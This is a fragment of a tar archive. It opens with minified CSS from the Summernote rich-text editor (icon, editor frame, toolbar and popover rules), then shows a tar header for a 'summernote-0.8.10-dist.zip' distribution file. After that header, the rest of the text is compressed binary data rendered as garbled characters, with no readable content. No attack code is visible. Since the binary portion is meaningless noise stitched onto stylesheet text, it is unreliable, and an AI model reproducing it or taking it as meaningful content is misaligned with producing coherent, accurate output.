col-before:before{content:"\f116"}.note-icon-col-remove:before{content:"\f117"}.note-icon-eraser:before{content:"\f118"}.note-icon-font:before{content:"\f119"}.note-icon-frame:before{content:"\f11a"}.note-icon-italic:before{content:"\f11b"}.note-icon-link:before{content:"\f11c"}.note-icon-magic:before{content:"\f11d"}.note-icon-menu-check:before{content:"\f11e"}.note-icon-minus:before{content:"\f11f"}.note-icon-orderedlist:before{content:"\f120"}.note-icon-pencil:before{content:"\f121"}.note-icon-picture:before{content:"\f122"}.note-icon-question:before{content:"\f123"}.note-icon-redo:before{content:"\f124"}.note-icon-row-above:before{content:"\f125"}.note-icon-row-below:before{content:"\f126"}.note-icon-row-remove:before{content:"\f127"}.note-icon-special-character:before{content:"\f128"}.note-icon-square:before{content:"\f129"}.note-icon-strikethrough:before{content:"\f12a"}.note-icon-subscript:before{content:"\f12b"}.note-icon-summernote:before{content:"\f12c"}.note-icon-superscript:before{content:"\f12d"}.note-icon-table:before{content:"\f12e"}.note-icon-text-height:before{content:"\f12f"}.note-icon-trash:before{content:"\f130"}.note-icon-underline:before{content:"\f131"}.note-icon-undo:before{content:"\f132"}.note-icon-unorderedlist:before{content:"\f133"}.note-icon-video:before{content:"\f134"}.note-editor{position:relative}.note-editor .note-dropzone{position:absolute;z-index:100;display:none;color:#87cefa;background-color:#fff;opacity:.95}.note-editor .note-dropzone .note-dropzone-message{display:table-cell;font-size:28px;font-weight:700;text-align:center;vertical-align:middle}.note-editor .note-dropzone.hover{color:#098ddf}.note-editor.dragover .note-dropzone{display:table}.note-editor .note-editing-area{position:relative}.note-editor .note-editing-area .note-editable{outline:0}.note-editor .note-editing-area .note-editable sup{vertical-align:super}.note-editor .note-editing-area .note-editable sub{vertical-align:sub}.note-editor .note-editing-area img.note-float-left{margin-right:10px}.note-editor .note-editing-area img.note-float-right{margin-left:10px}.note-editor.note-frame{border:1px solid #a9a9a9}.note-editor.note-frame.codeview .note-editing-area .note-editable{display:none}.note-editor.note-frame.codeview .note-editing-area .note-codable{display:block}.note-editor.note-frame .note-editing-area{overflow:hidden}.note-editor.note-frame .note-editing-area .note-editable{padding:10px;overflow:auto;color:#000;word-wrap:break-word;background-color:#fff}.note-editor.note-frame .note-editing-area .note-editable[contenteditable="false"]{background-color:#e5e5e5}.note-editor.note-frame .note-editing-area .note-codable{display:none;width:100%;padding:10px;margin-bottom:0;font-family:Menlo,Monaco,monospace,sans-serif;font-size:14px;color:#ccc;background-color:#222;border:0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;box-shadow:none;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box;resize:none}.note-editor.note-frame.fullscreen{position:fixed;top:0;left:0;z-index:1050;width:100%!important}.note-editor.note-frame.fullscreen .note-editable{background-color:#fff}.note-editor.note-frame.fullscreen .note-resizebar{display:none}.note-editor.note-frame .note-status-output{display:block;width:100%;height:20px;margin-bottom:0;font-size:14px;line-height:1.42857143;color:#000;border:0;border-top:1px solid #e2e2e2}.note-editor.note-frame .note-status-output:empty{height:0;border-top:0 solid transparent}.note-editor.note-frame .note-status-output .pull-right{float:right!important}.note-editor.note-frame .note-status-output .text-muted{color:#777}.note-editor.note-frame .note-status-output .text-primary{color:#286090}.note-editor.note-frame .note-status-output .text-success{color:#3c763d}.note-editor.note-frame .note-status-output .text-info{color:#31708f}.note-editor.note-frame .note-status-output .text-warning{color:#8a6d3b}.note-editor.note-frame .note-status-output .text-danger{color:#a94442}.note-editor.note-frame .note-status-output .alert{padding:7px 10px 2px 10px;margin:-7px 0 0 0;color:#000;background-color:#f5f5f5;border-radius:0}.note-editor.note-frame .note-status-output .alert .note-icon{margin-right:5px}.note-editor.note-frame .note-status-output .alert-success{color:#3c763d!important;background-color:#dff0d8!important}.note-editor.note-frame .note-status-output .alert-info{color:#31708f!important;background-color:#d9edf7!important}.note-editor.note-frame .note-status-output .alert-warning{color:#8a6d3b!important;background-color:#fcf8e3!important}.note-editor.note-frame .note-status-output .alert-danger{color:#a94442!important;background-color:#f2dede!important}.note-editor.note-frame .note-statusbar{background-color:#f5f5f5;border-top:1px solid #ddd;border-bottom-right-radius:4px;border-bottom-left-radius:4px}.note-editor.note-frame .note-statusbar .note-resizebar{width:100%;height:9px;padding-top:1px;cursor:ns-resize}.note-editor.note-frame .note-statusbar .note-resizebar .note-icon-bar{width:20px;margin:1px auto;border-top:1px solid #a9a9a9}.note-editor.note-frame .note-statusbar.locked .note-resizebar{cursor:default}.note-editor.note-frame .note-statusbar.locked .note-resizebar .note-icon-bar{display:none}.note-editor.note-frame .note-placeholder{padding:10px}.note-popover.popover{max-width:none}.note-popover.popover .popover-content a{display:inline-block;max-width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;vertical-align:middle}.note-popover.popover .arrow{left:20px!important}.note-toolbar{position:relative;z-index:500}.note-popover .popover-content,.panel-heading.note-toolbar{padding:0 0 5px 5px;margin:0}.note-popover .popover-content>.btn-group,.panel-heading.note-toolbar>.btn-group{margin-top:5px;margin-right:5px;margin-left:0}.note-popover .popover-content .btn-group .note-table,.panel-heading.note-toolbar .btn-group .note-table{min-width:0;padding:5px}.note-popover .popover-content .btn-group .note-table .note-dimension-picker,.panel-heading.note-toolbar .btn-group .note-table .note-dimension-picker{font-size:18px}.note-popover .popover-content .btn-group .note-table .note-dimension-picker .note-dimension-picker-mousecatcher,.panel-heading.note-toolbar .btn-group .note-table .note-dimension-picker .note-dimension-picker-mousecatcher{position:absolute!important;z-index:3;width:10em;height:10em;cursor:pointer}.note-popover .popover-content .btn-group .note-table .note-dimension-picker .note-dimension-picker-unhighlighted,.panel-heading.note-toolbar .btn-group .note-table .note-dimension-picker .note-dimension-picker-unhighlighted{position:relative!important;z-index:1;width:5em;height:5em;background:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIj4+Pjp6ekKlAqjAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKhmnaJzPAAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat}.note-popover .popover-content .btn-group .note-table .note-dimension-picker .note-dimension-picker-highlighted,.panel-heading.note-toolbar .btn-group .note-table .note-dimension-picker .note-dimension-picker-highlighted{position:absolute!important;z-index:2;width:1em;height:1em;background:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIjd6vvD2f9LKLW+AAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKwNDEVT0AAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat}.note-popover .popover-content .note-style .dropdown-style blockquote,.panel-heading.note-toolbar .note-style .dropdown-style blockquote,.note-popover .popover-content .note-style .dropdown-style pre,.panel-heading.note-toolbar .note-style .dropdown-style pre{padding:5px 10px;margin:0}.note-popover .popover-content .note-style .dropdown-style h1,.panel-heading.note-toolbar .note-style .dropdown-style h1,.note-popover .popover-content .note-style .dropdown-style h2,.panel-heading.note-toolbar .note-style .dropdown-style h2,.note-popover .popover-content .note-style .dropdown-style h3,.panel-heading.note-toolbar .note-style .dropdown-style h3,.note-popover .popover-content .note-style .dropdown-style h4,.panel-heading.note-toolbar .note-style .dropdown-style h4,.note-popover .popover-content .note-style .dropdown-style h5,.panel-heading.note-toolbar .note-style .dropdown-style h5,.note-popover .popover-content .note-style .dropdown-style h6,.panel-heading.note-toolbar .note-style .dropdown-style h6,.note-popover .popover-content .note-style .dropdown-style p,.panel-heading.note-toolbar .note-style .dropdown-style p{padding:0;margin:0}.note-popover .popover-content .note-color .dropdown-toggle,.panel-heading.note-toolbar .note-color .dropdown-toggle{width:20px;padding-left:5px}.note-popover .popover-content .note-color .dropdown-menu,.panel-heading.note-toolbar .note-color .dropdown-menu{min-width:337px}.note-popover .popover-content .note-color .dropdown-menu .note-palette,.panel-heading.note-toolbar .note-color .dropdown-menu .note-palette{display:inline-block;width:160px;margin:0}.note-popover .popover-content .note-color .dropdown-menu .note-palette:first-child,.panel-heading.note-toolbar .note-color .dropdown-menu .note-palette:first-child{margin:0 5px}.note-popover .popover-content .note-color .dropdown-menu .note-palette .note-palette-title,.panel-heading.note-toolbar .note-color .dropdown-menu .note-palette .note-palette-title{margin:2px 7px;font-size:12px;text-align:center;border-bottom:1px solid #eee}.note-popover .popover-content .note-color .dropdown-menu .note-palette .note-color-reset,.panel-heading.note-toolbar .note-color .dropdown-menu .note-palette .note-color-reset{width:100%;padding:0 3px;margin:3px;font-size:11px;cursor:pointer;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px}.note-popover .popover-content .note-color .dropdown-menu .note-palette .note-color-row,.panel-heading.note-toolbar .note-color .dropdown-menu .note-palette .note-color-row{height:20px}.note-popover .popover-content .note-color .dropdown-menu .note-palette .note-color-reset:hover,.panel-heading.note-toolbar .note-color .dropdown-menu .note-palette .note-color-reset:hover{background:#eee}.note-popover .popover-content .note-para .dropdown-menu,.panel-heading.note-toolbar .note-para .dropdown-menu{min-width:216px;padding:5px}.note-popover .popover-content .note-para .dropdown-menu>div:first-child,.panel-heading.note-toolbar .note-para .dropdown-menu>div:first-child{margin-right:5px}.note-popover .popover-content .dropdown-menu,.panel-heading.note-toolbar .dropdown-menu{min-width:90px}.note-popover .popover-content .dropdown-menu.right,.panel-heading.note-toolbar .dropdown-menu.right{right:0;left:auto}.note-popover .popover-content .dropdown-menu.right::before,.panel-heading.note-toolbar .dropdown-menu.right::before{right:9px;left:auto!important}.note-popover .popover-content .dropdown-menu.right::after,.panel-heading.note-toolbar .dropdown-menu.right::after{right:10px;left:auto!important}.note-popover .popover-content .dropdown-menu.note-check li a i,.panel-heading.note-toolbar .dropdown-menu.note-check li a i{color:deepskyblue;visibility:hidden}.note-popover .popover-content .dropdown-menu.note-check li a.checked i,.panel-heading.note-toolbar .dropdown-menu.note-check li a.checked i{visibility:visible}.note-popover .popover-content .note-fontsize-10,.panel-heading.note-toolbar .note-fontsize-10{font-size:10px}.note-popover .popover-content .note-color-palette,.panel-heading.note-toolbar .note-color-palette{line-height:1}.note-popover .popover-content .note-color-palette div .note-color-btn,.panel-heading.note-toolbar .note-color-palette div .note-color-btn{width:20px;height:20px;padding:0;margin:0;border:1px solid #fff}.note-popover .popover-content .note-color-palette div .note-color-btn:hover,.panel-heading.note-toolbar .note-color-palette div .note-color-btn:hover{border:1px solid #000}.note-dialog>div{display:none}.note-dialog .form-group{margin-right:0;margin-left:0}.note-dialog .note-modal-form{margin:0}.note-dialog .note-image-dialog .note-dropzone{min-height:100px;margin-bottom:10px;font-size:30px;line-height:4;color:lightgray;text-align:center;border:4px dashed lightgray}@-moz-document url-prefix(){.note-image-input{height:auto}}.note-placeholder{position:absolute;display:none;color:gray}.note-handle .note-control-selection{position:absolute;display:none;border:1px solid #000}.note-handle .note-control-selection>div{position:absolute}.note-handle .note-control-selection .note-control-selection-bg{width:100%;height:100%;background-color:#000;-webkit-opacity:.3;-khtml-opacity:.3;-moz-opacity:.3;opacity:.3;-ms-filter:alpha(opacity=30);filter:alpha(opacity=30)}.note-handle .note-control-selection .note-control-handle{width:7px;height:7px;border:1px solid #000}.note-handle .note-control-selection .note-control-holder{width:7px;height:7px;border:1px solid #000}.note-handle .note-control-selection .note-control-sizing{width:7px;height:7px;background-color:#fff;border:1px solid #000}.note-handle .note-control-selection .note-control-nw{top:-5px;left:-5px;border-right:0;border-bottom:0}.note-handle .note-control-selection .note-control-ne{top:-5px;right:-5px;border-bottom:0;border-left:none}.note-handle .note-control-selection .note-control-sw{bottom:-5px;left:-5px;border-top:0;border-right:0}.note-handle .note-control-selection .note-control-se{right:-5px;bottom:-5px;cursor:se-resize}.note-handle .note-control-selection .note-control-se.note-control-holder{cursor:default;border-top:0;border-left:none}.note-handle .note-control-selection .note-control-selection-info{right:0;bottom:0;padding:5px;margin:5px;font-size:12px;color:#fff;background-color:#000;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;-webkit-opacity:.7;-khtml-opacity:.7;-moz-opacity:.7;opacity:.7;-ms-filter:alpha(opacity=70);filter:alpha(opacity=70)}.note-hint-popover{min-width:100px;padding:2px}.note-hint-popover .popover-content{max-height:150px;padding:3px;overflow:auto}.note-hint-popover .popover-content .note-hint-group .note-hint-item{display:block!important;padding:3px}.note-hint-popover .popover-content .note-hint-group .note-hint-item.active,.note-hint-popover .popover-content .note-hint-group .note-hint-item:hover{display:block;clear:both;font-weight:400;line-height:1.4;color:#fff;text-decoration:none;white-space:nowrap;cursor:pointer;background-color:#428bca;outline:0}summernote-0.8.10-dist.zip000064400001447723151677331550011210 0ustar00PKETLdist/summernote-bs4.js�{7�6��ɧh{�҉Eٹ��(q&�%k�8�F�����I(�%1�H I��:���y���������ڝ��K�P�* `�ޫ>��.��y���O������듪>/g�����o���ry����\\�����lYf��0���||r��>�u��j{2�VgӓA5�U��)�ͦ������!Ug���a]��z�:/�`}T]L�P����W��.�5{�����6n}��ѭ�[��>�� w���t�ϦU�d2;NnV���~}�z���|}^ώ�����|���ܹS�f�?֣e���*�>�]�*טKL����W��A��?.������u�ƍj+�� ۱�1��~���(`� k���ǿ��7>{�my:^ܬBO��6z\uE�7���R�;�����p���tg>��/_�{@ax1Y�n�������p^��ǝj��/G��bZGH� ��T�6���8�Y�NǓ�y=�Y��9>�h8�G/�2�o�����g:�:$��F k�W#�&�AK����Ã�l9#O�8�N�`���!R�yR���FA�O�:��c�7>�4��$��=���"�fE=8]�M���|nC;r��8�O�guwsã�{,�h2U�Em ��Vs��z8:-bIHF�7��͚�6��r�F��^�a%�3�,�6�;i\�ins6�F�P/z7����9�6{$�D6B�̿9&_ �������W�H{�5"(\��dz��7S��m��d��O�=��ӓ�)FH�� z��/���^���/�Kʆf�e;�M"R��ٕ u�>AY�`x~}��w�ˋ�T����V���@���UA��ވ.�k��x&]��U��7��6\#��p8?�8�.:����-�Ry[����R�ٹP5�`�؞χ��ƭ眆�7�����q��L�fsK�K��p�x�ef%V3rM�W�6�e�6�o��@3���{��_V2�.�mE��������p�s9�a���l����x5'_ί�jΡ����z���z5�M�;�-�6���ױ ����6�J�X� L��Й��hx{��3��%�� G�9��t�3n���O�7������ u ��Nf��Ŗ�4<0@ւ��h,���Ţ{�D�{��.��ˢ�ZmCs����Kt�|6/��7�z�3�I'�&\��g5��5 ~P|"�f��z1���M��`�!lr��l>Q�� �\?��s�x�����]�1�ͦƘ�6�$%��.�������gc�X���s� �S]|�Ĝ� �d ��+��w���_��mj`���M�c>�8�=�Ӎ)�~a썴GX��^M/���60�]8�M��$��l�|��M+��|��yBw#�/i����b�C��B�/������7YFgW�ަ'�"�ĭ��Z��+�W�bdb���9Z(>�e�$��jE�%�݉�-��SAƊn�*]��%(���X���\�M�=���]���;�ZOeiH$� .�� ��܆f+D+* ѵ^�k�x��4$�`O�W�����V������Ꙏ'�hM�k&��X��,��?4��Ә���C�퍤$�����BiVx�y7����>���U��M���P�D���=E����[Z^�<�JP�N��@Xki$�R�*[�����e�B�Μ��픡wdKΏn@FWY���\�O����^Bo]�j�\��l�a5d��Z�;�� _[`Y\�):��+$ߺ�{�X��":bk[�~&%?�b��M_�����LJ+5�B�4�x���*{�р����QC�]*�/�m�3�"}�볂K}e��=�3�(���[��V?�?������vaC{p~�8��y�p��\�2��u���B��-�����f�iM�oo�|�� ���2�Gp���[0��M(���#&��U�\v/�.�\$�J�yB�bA}9;9���p�.���;�7ns�����W���m��y��B���^��P��un�u{Y'I�b����aj����T���(� ���W�nx�����lJ�ny�MI��p�T;9��8Ng/�y�[`��j�N�8��{�i�1�|�'����I�iYt:>:��^:Nuc��8�G�j�1R��6�#��|7C�P������d�2N�0�Y�.�~oXw|e�a�k;-g�B?�&=���L�)�ג �!�� ,-UP��W:ZG�+��ܡ6������N��&3��06���Tt�f�L���D98���?,�g��,⫺e+Z1�od������u�a���� �D]9 Z�lA�B��t2_���h.��s r�*_<)V������u �Ω��["2��O>� f?�Y��ޙܑ�-h��m�����댚����2Y�}&�R��D֡���5ܿ�Wm%c�Z�͒}�����p�uT�sY��P�.P�B@���?i��a��N�_����n=���U��B9%NԒ�]��xJ_��l�4:��\��f�x0M�Ɔԕ�u��1��{�(.���<���(��A�S=i {�l�[�{�c�lm�U�T�� �6��_ı�|q�p�U�:��E�1b���{k�Ջ�|,�� ?���;�b�&i5��C<K�UT`ü���¶��F���}����Kgl �*�pUf4brߩ���c�~#�Cq�B:T �3˷4�%͋���Cs��X��]�Z��4=9���`nn�I�P��g��Qp��:)��p� ��n�����w7H.U��u�Q=��%l��U��'f*ȿVR������� ��o#("�T���nUo�j��{+�ۤi��(X�EmCR��Y2�,�� ���n2�M �ak^Ew-�ʘ�$�m�]�{�Cð�L�+�U6�m�T��{�A���K�Yg�+f��xŕ���kW^j��˸휾�oo����ק �����.��Yi��q�Y����L��f���0�]K5t�#2RA��5%��2�0I^B��QҜ�(!�������lz_$s�[E&��)��&��hE��)���98D``h�+��nRk�<���/jH-�K[">ڧ�V�z!xk?��M����K@�^��f?�Ɩ`���NUE��:Qa�J�4怯D���b<H�E� ��0q52ɉ�.��#I3��O�`'C��� @H�I�L&i�6e6��Ꝩ��(��4���c�N�F����1�YT��c�� ��?��(UA)d�23�n�Xf�5�R�Z�Z�5Y��L�����f�d�t�i��:���M��^�$웰����V�+�a"r�hz<+��!~��0:���`f;�k��l�M,#�?���T�IA0'�q�����e��� [��.I�@�'\�06fsFA2��`���0�M�p��b2Y�Ry��%_�C�E���Ɩ)_r�z.;b%�_�-ۥ�u8�H�cN`�� B�z^��>?ϣ�މ�vx����S�HN�B{����먢g���YH�XE)pQ��*�3��6y�?��c�|-@c�����M�f��iG�۶����¢��Sx��~X 1������ؘ�Y����YZ��F�T;�Zϭ�(Ş�~s���X�ԭ��3�9���m�a�����1�Q��1�ó�͞l뿭0�&��y) Z��؎���6�6?�0c��`�Z�:�+���G���G$���DYT���r������Dj�4\7�G�v�@�CP-_W���Z�����lp2�\�>~�=C�j��ae0YQ�ɏ�\�|it�Eso���K�7O%�m��t�zrqvX�=���I}��j|�<]W��%��"�>��?J��b��F�1z���=�����t����}�0��Tܟ�GC�]���Q�1�c �U�S���y[�h�tg#ɾ)u�0��x8�Q��Oe@`P�z��$��_/`��q�c4î'Kɶ& �]��O�q��9�Y����rD ��n4�J��Ƀ����n'Z��S"�5�eUz�c�x �XǛ4~RԀ� <�jg_T���z����m�{�za �O�:��3��Ȍm�%]���=@��S�MS�!Sw\kHd��°N�$�,Ρ}�l��"�D0L,.����e��5�3F��.`����n��͡2�w%n�V��.1i-� ��1�&�4O/�<]<a�������� �#�t[��G�j\��0)�|������� ��s��֎灹�Iu����uP=:�~������L�3Z,j�`m�D��E�X��_�`�;~����?r��G�u#+ �+�Wñ�ES�w��ӷU-i�&DjЃG5���6�@����ǟ��{��C2��2S����a�e�ɦ!��4����; -K31U~���\�q�����^L&�6������#\3K1�ƺ^L��L�t \�D�MR3t�]+��#��|_�ַ��H�Ţ^z1鼎N(�N��Ѭ��zcJ��H�Y�{#���|�����3?>�/Z�p�������G3>�W�i�e���7Dt�r�_�@�5�� 3L15�M(�$�{de}��鎳x��f���4?)=Ӥ@�U��h9� xM:$ܿawq�;�K�����q _��F��-6|�V�J��n4�K ���U�x�5g�]���fY}M�� ;�Q���12��PPj� �����9O�B�E���^I��{��j���DR�I(��/]�r���������hq�k!�F�� \��U$]&��I������-�?b�?�Z�'�p!G~��[�gi�*�0QU�*CXG�Zs��\�@��U�j��kYjW�!��� 4YU��yR>�.79M_���Dy S@)��d�I@:.H UZ֠uߖ�N�?�����jA�H ��d=�2��~'������6�ep�ѻ� O���3�h��q9�!j��N4=���ÉNjXNg���4����?*� S{X�H�c�W�ę"��#%�Є�z<uj�촂�+��U�����хY6zx�n��QS��ح��K�`�ެnuѽ\2! n�5������aٍ+��{��[�@��F��On`r�qP9��p�z0h����)B������2Ѵ��p�*�@T���.����U�� �08��(���4�q ZF��h�x�����^��!���pK�-T������B`����T7��Ĭ� bF�R=��=X���H2MD��ԑA��Lun��\o{��Z���TQ�Y�<E)Z"s��/I�:tP���w������RT�%Qh�iy��O�1i! ����ݠ�E$YjȜ��u���ͩ�EkA6��ln��Y�{�2�m�q����!���z��r�V�R��'��{@�)�� �.LD~���nS��!�!�\�����¡Xs,m`��:�G�z���x#hl� 6悪�S��-%I��� �T��߆N���j-���̠]��p����)Wմ8�i'�bI�w �j.�$���]V�,�BʈI�5����w9�Th�&��5��w���:�X��`��&;nθ��Y�MY��F�fj/���_]�R�n�2��������JՏ�0�W�I7���_�&3`-���7&X����p1�5�:V�_�_�a�qf0`����6�3�� ���w_���UtlT4���T�G �/p�����=<)� ��|VmnV5֕�%b�% aRӺ����1(@[�><t~D�W����yY� ���sW])���W(��c�V���Q6�\b)�D?���3�>�xT� ����=�l���aϫ'�+ �,K�8�+�5�p#!�8�1�e<J��l�b�[ox��M.��I�J���m��?��"�H'�<�pݺ�*�Z�M�3�{�@Go�؟�]����a7p�d<N���cݒ~���WC8t_#�'���@6Y|��$a-�Dy��ݔ��02 ��F��o�I�3�Y�8u<1��O�m�J��_�O?;H�z�s��z�����?���3]n"�H�SaP� � �����{��B䴳��T=��w���9�{csP�T� ��±Z��es�?Т�j2.�8�!�Q� #�m}�ns��V���Ɵ���}��@~ݺ���EGGJ�{҂�~� *lv�q�����1B�鮾v����� �*ů�%�*�:� ��m}��HIl�˿���f|o��}��j_� >;�.�r���ȏ��5�p ��%�O`e�&/�����@�~Э��)8^�$���iT�Yon�PtUg~m��@�Л���`~gBK�K��tZ�1����&G�U���b)�hƕ&}� �����G��!A.�@�t��_'�mN�u��d{���t��>z�!d���y(��j8��=��)a���[z��z�_�\n��c����ǘ��i"��fǜ. �*�V�%�:)������&2~���C��T�܀?Lz�b�(��$wp� ��/���(u��(�B���_�4�sƒ���X���]���a�y`W��6�,܄WNZ��'�Ǐ^nkyP�A8Xݷ��ջrE��_�;E��v�}�*�`Rd�].�^�I��/y��!�"��ܵ�\��/�8����@k ߯x��gܪ�����l�+\�����*�������fc�x��.|�=��NW���(��9�{�#����,�+�-��挅ie�T��짶9�v��U[զ��ϽՅ1�c��8qo3�V� �x�:#I[]gox��e�����S8WR�9�Y��ӈ�#���x:���� R9�1�t�"2Jȷ�)��n�>p(_Al��O0E�����{���Imm�4�R���iK�/� 0��nzrwo�{�w���dp�FI�iп�G:�i5���O��������J��.���� X�'��7s�����WR�u�T���z�X����)��[���+)�@}���,ni����d3H�B���H.�/S��a�ۅ��X�2^�9.�Qcc!U~�.h��~�hu��l��ށ���k�-d9�ax̋�J��*�8ƲT�8/t,�g[��H�(��i{5�������}�x��J���4vp{�*h�)��/��K:��Xޞ���v��>ֶ�O���Y�p�\a��is@ᑵ�nj�$/�LѝU]�'^��q'�t�$���cۂ��n!m���qK�F���\��%1����]��� ��K%����Ǽ{��x7_�l����3�����5\_?I�������6|/�I�o���������}�?��!|�������~����'�~��l���'�)��x�Өh��NѪV5�$0w��V�&�N������W_�_~�����Q�2��c�B|��'{��Ϳ���������7������!<�P�E����n�9��Zp�E�M�����>�"�b�y���G,�1�[C`��Ð����X��^H,���hm�����%�o�o70{4�;�����.�g�G�n+�?�xrLSx�ȇ7`Kƌ����@���t���]^��X���f�Z����jW�8�������N��!�6]C�p�A�{5�T�2+�߿����S�+и��齿����}a�@���,�/Ʋ�ʍY?l�UF�����x�@��ud�՜7^y��kC�"W� �Z4ZS˱�E�F�<�] U��Wt�����!o�D��.�`�����!�x�YI���I�c�dNG�]I6~�j�@��Y�q.�ɸ��l�$�ձ��H��.ʸ�f�xv�h f���#b��c7=G@C`pe�cםy���s� �5�Q�t+b���TYY��1B�@�?`s��^|&��`���9��3x1�$�p:3�x:�Ϻ`��8:���[v�$�f�Eȸ�X4�n��H��?� /���_?V'��|E��A���O4��W4�����3�0=\���V�Gn���>.b�X�pvr��F�?Ep��T��W�Q�U.�' ��S���x�7�w��r>"���FC�v7���AP�,@$�-ɴ��K�M�}��sk�Jn���MxO'�� +�?��F��Y�9fUpGek��������_�jn�ݾ�^!(��ڤ��-;)�X����&�'ց�%��|��k2y�#s(�w<�A@�/@O�[������_��>�<���ac�r�̕q���c_��<@��- 0Q��F�p�O�z@*"���\���-=5�8�P��|!�9@N�J��X���T&$l1�J�JX;��ך�;����+�ļ�d@xn��4�A�kN� ŽSbS�W)`U���UpoK�Z�Ge�^�^�in)4yC���Y���-�X���۴�O�"&� ��X��)NK�0���K�+�_#]T9bxf�#�zN��`'5�w��6��Hl��%w���Ab5�)��������d+���7�>��d:���N�F�i1�7.��k<L�e�@��N��UVa3��5#Lt��))os��nD���Lv��N�$��)��gAn�&8$�C�.�5�"�l����)�̢ܰU�H�u�-�����$H��%N:oiЯ]��^!�L^7s;˙!]�M�Q�sX/_�8�|�}y�����ne�%T訶Rt��V������#ʣ���g���� ��8�d�x�c��P��������i�?TK{.7�^���'���vf���d��cÉVeIVxy��O�� �1)^.���s_��E�X�%�+��r]Z���sd��f�r9h�*z߇��d�ǁK�ߚ���ʥs���˒=�[߁�8�va�[uʺ�Y���c�W&��V��i22q���zwM���0��W{�#DW�ڙ�������4?Qr<�v8yчINS.*�%agZ,�ϥ�ȋ���sufx���b�+5�<`�:ဓ/>מf�Ew��ob���D�5ݤ2�!�&�R�VR¼�-�������z�#f�qIk��(���br^�J&�X~��$��ܒtO�2g ��"��h�_=��ab�R�ebw�'O��:M�Y�E݊�AT+��hD�(I��p��>���UJT�����?mQ�E#4Yii��Ǥ�h_qj^�*��N��]��Ɋ�M�������Y#ipC�jjps���ԏ�JkwC�1�"y�Qġ4������R����f�<���j�<v`����d:���$-���{/��z������'4����6z �&��a��!��)�wy7�Wx�%B�".��|��1N�R_�y���� f�nji�6�:�Yq���|��#�"[�j���M+�K���N`'�k�d��k���6؉W:�� �z�:ɳ��M����j��#y��]�J����(l�O�W�-E)������:ZW2�S6�i��-�v #!�R��A��Q�cn`�k9�ژ�>C%�)H̾R�bF�c�W�55FM�j���d��E�s��Hk�A�ĥ\�{�"1�UiQV�IK���ށ6�ɵ�f�@��J+Ɨ��`G4��;4�|��\I&6aE���r�]���p����ޚ�qM;Fw�[¦ �k״iЈ�kW�!�,]�"�Eu��|�Z�I��"�ݽ��G��y*���PFt@4i��-.7-P���(F���yl�[gH`a�x]�K�����b�X�����ؚh2���O��X+Wh�D.�|(��!���0��j��y_"¿�E�FD��uZmu�5Xط���MT�j�:(�M[0$�E�e]�M�'���-t��O�`��v������\��T�Їa�c{Cl�H�� ��ؙG�����ߒ�õ��M)+cI�%[����S�.�]1 �n��U]b`B��L�Q2��0�H���-ƥ�0�K5�u����W���C�;�DZ/�9CZ�cQ��w��7}v���B����7/nj���?8���Z�fSv�o�IS�^CYNJ���vvr���*w�!���˝䌬Oݍ<L<0� ����$G��_��YW��+W6c��R��:�HO�|���_��s��v��UW�ϒ�~x�6���3��b�d�̐��嘟wh���Đ�+�#ϸ7�� |�����4!��rf�Ƭ0�R-+�lTHՕ���D�j�j�48��<$��ϐ�l�@����ɥD�:%<&*�����d���]<r<�&�9?P N�.i�m���A�QN�P˹�\O*k`;�mf�kY�Ε�&�Sz� ��^���tT.���^a�Fz���d�˭Zlb��U$K�=m�y�J#�����N�Xs��F�5V,.�$�Pa( Wɾ!\� M����)T$˯��%R��S�;�qL��e�u�pK��Q�I�U6�+'LC윜�\ZT$��O*h���\��!6�T�����i�N����� �6��77�O�`������)��{}�^2��x�C�A�m-���� <)����'� '���/���0y.�E0z2V��y�J�5���axk��~��`�X���2=���[����C�+��"+�j����q�D��B���r�������,�xjI����Ϫ��6��v��T��<�7!���k�S����n�Fv��+���6����l��$����Oz��:�n�Q?(s���s�Nm����)f����j���x�6�G�ʓ�r�7��}� �(��S���>��&45�J5u�A��f�]{%8]���V�VX���*�P ͽ��*�)%��-N�&�u</�<�]�; �kc�))F�_Q$�7�_a�vm�] ��ϝ�feB&q�F�6�\�ŶZ��S��Jb���jC�Eq�Gi�@fJ�r����x�c@�l��0k�4��Uk�'��K1S�[M8>�I��KN#�X��މFgIA%��qU��1�-2����ԕ�3oK�;pi�[N�>�k�P6Z�����=�i����#)����RK����#�@�=��Z��[fOf�l��1g;a�T�7#�k<���.�}ج+N�b�� ���N���i싕�@�Z/oܞBf@)�Z�B��0/;��L�EQ.\�K��"w�Ma��\�����'UW�b��[vݡ���$Y�$�C 0��̵�M��B$tl��Ns�|1������2r��ZHk��ϧb?e�DgJ����+,�@��� �c90��<9#�&<\�+*4�`�c�Z�;���*��y��v���� ���Cg��t�+K�8�r\@��+]f��E|2�aNcZ��.�US�x���Js�� �+ UE���_��(Li�T ��� �o��fZ5��d*��_S�L�+���?aY���%Q�M�N)��Q9��`u�X�S*�O�Igf���Or����"�av�bB�#�n䎣yp�XyLQ��O�S�8�e�=9>�kt� 7s����v�N�����P�i�}�"]�[�0,��{�z���Hj �1����H�Pb�-C�c7(-E���5��}j�O?t��V�..tY�&=������K/��zdK��� K-��ͽP4�ZR��^6 �#�"�Q4YU*h+IJ]Az ;�e�}���ђ���D�d;�AY��b�9ӻ=�@2t/��@��su�G�˳�궯֢�e�`����ܬ6n���j:����o�.q����ٞL�Ǝ�������q��Nf����#�pXC`�fc��&3�|����ZG��}�z��0ll ���sz2k�h��I��KXC����.�Q�X�D]{7�@bL=#j�悂��[u�%)��5Wy�YA 